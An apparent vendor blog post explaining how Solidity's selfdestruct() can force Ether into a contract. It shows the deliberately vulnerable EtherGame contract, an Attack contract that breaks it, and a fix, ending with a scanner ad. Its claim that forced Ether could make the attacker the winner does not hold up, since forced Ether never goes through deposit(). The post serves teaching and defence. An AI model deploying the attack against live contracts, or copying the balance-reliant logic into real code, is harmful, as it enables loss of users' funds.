HACK ANALYSIS 4 min read

Security Implications of selfdestruct() in Solidity — Part 2


Security Implications of selfdestruct() in Solidity — Part 2

In the previous blog, we talked about the selfdestruct function and how it can be abused by malicious attackers to exploit the contracts and extract all the funds.

If you’ve not read the previous post, we recommend a quick read before you proceed with this one. — Security Implications of selfdestruct() in Solidity — Part 1

In this blog, we will look at an interesting exploit scenario in which the selfdestruct()function can be abused to influence all the other smart contracts if any critical function logic depends on the total tokens/funds present in their contract.

Methods to Receive Ether in a Contract

There are multiple ways in which a smart contract can receive the funds. Some of them are —

  1. Using receive()— This is the function that is responsible for handling Ether which is sent directly to the contract via functions like send() or transfer().
  2. Using fallback() — These functions are triggered when there’s no receive() and when none of the other functions match the given function signature.
  3. Using any other functions which are marked as payable.

The developer or the owner of the contract has complete control over the methods they want their contract to implement. 
But, there are two more ways to send Ether to a contract that can not be controlled by the developer and can be induced externally, forcing Ether into their contracts.

  • As a destination of a selfdestruct() — Contracts can still receive Ether from other contracts if they’re assigned as the destination address while calling the selfdestruct() function.
  • Miner Block Rewards — Or Coinbase Transactions are the miner rewards for successfully mining a block.

Attack using a Forced selfdestruct()

Now imagine a case where there is a smart contract having a function that makes business-critical decisions based on the total funds or Ether in the contract. We will take an example of a famous contract called EtherGame from SolidityByExample

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
  function deposit() public payable {        
require(msg.value == 1 ether, "You can only send 1 Ether");

uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
    if (balance == targetAmount) {            
winner = msg.sender;
}
}

function claimReward() public {
require(msg.sender == winner, "Not winner");
    (bool sent, ) = msg.sender.call{value: address(this).balance}("");        
require(sent, "Failed to send Ether");
}
}

In the above code, the deposit() payable function can be used by users to deposit Ether to the contract and if the contract’s balance equals the targetAmount which is 7, the msg.sender or the user who sent the last transaction will be the winner.

If we wanted to exploit the above contract, we would likely want to be the last user to send Ether but since EtherGame only allows 1 Ether at a time, directly using the deposit() function is not suitable. Note that there are no other functions in the contract to receive Ether. But this can cleverly be bypassed by making another contract. Here’s an example of the attacker’s contract —

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Attack {
EtherGame etherGame;
  constructor(EtherGame _etherGame) {        
etherGame = EtherGame(_etherGame);
}
function attack() public payable {        
// You can simply break the game by sending ether so that
// the game balance >= 7 ether

// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}

By using the Attacker’s contract shown above, assuming we have some funds in the contract, and if we call the selfdestruct() function with the addr of the EtherGame contract, whatever Ether funds were stored in the Attacker’s contract will be transferred to the EtherGame contract, therefore, breaking the logic of the game and the validation at Line 12 —

require(balance <= targetAmount, “Game is over”);

By sending more than 7 Ether, we would break the contract and nobody will be able to be the winner. 
However, this could have also been exploited to send the exact amount of Ether so that our Attacker’s contract could claim all the funds from the EtherGame, essentially becoming the winner.

Mitigation Techniques

Smart contracts should never rely on the balance stored in the contract as this can easily be manipulated by any user or malicious actors.

An easy fix in the above EtherGame could have been on the Line 11 where instead of address(this).balance;, it could have used balance += msg.value;, making the contract independent of the stored balance and using a self-defined variable called balance, adding the msg.valueas sent by the user.

Our cloud based smart contract security scanner SoldityScan detects unprotected or dangerous use of selfdestruct functions inside a contract.
Signup for a free trial https://solidityscan.com/signup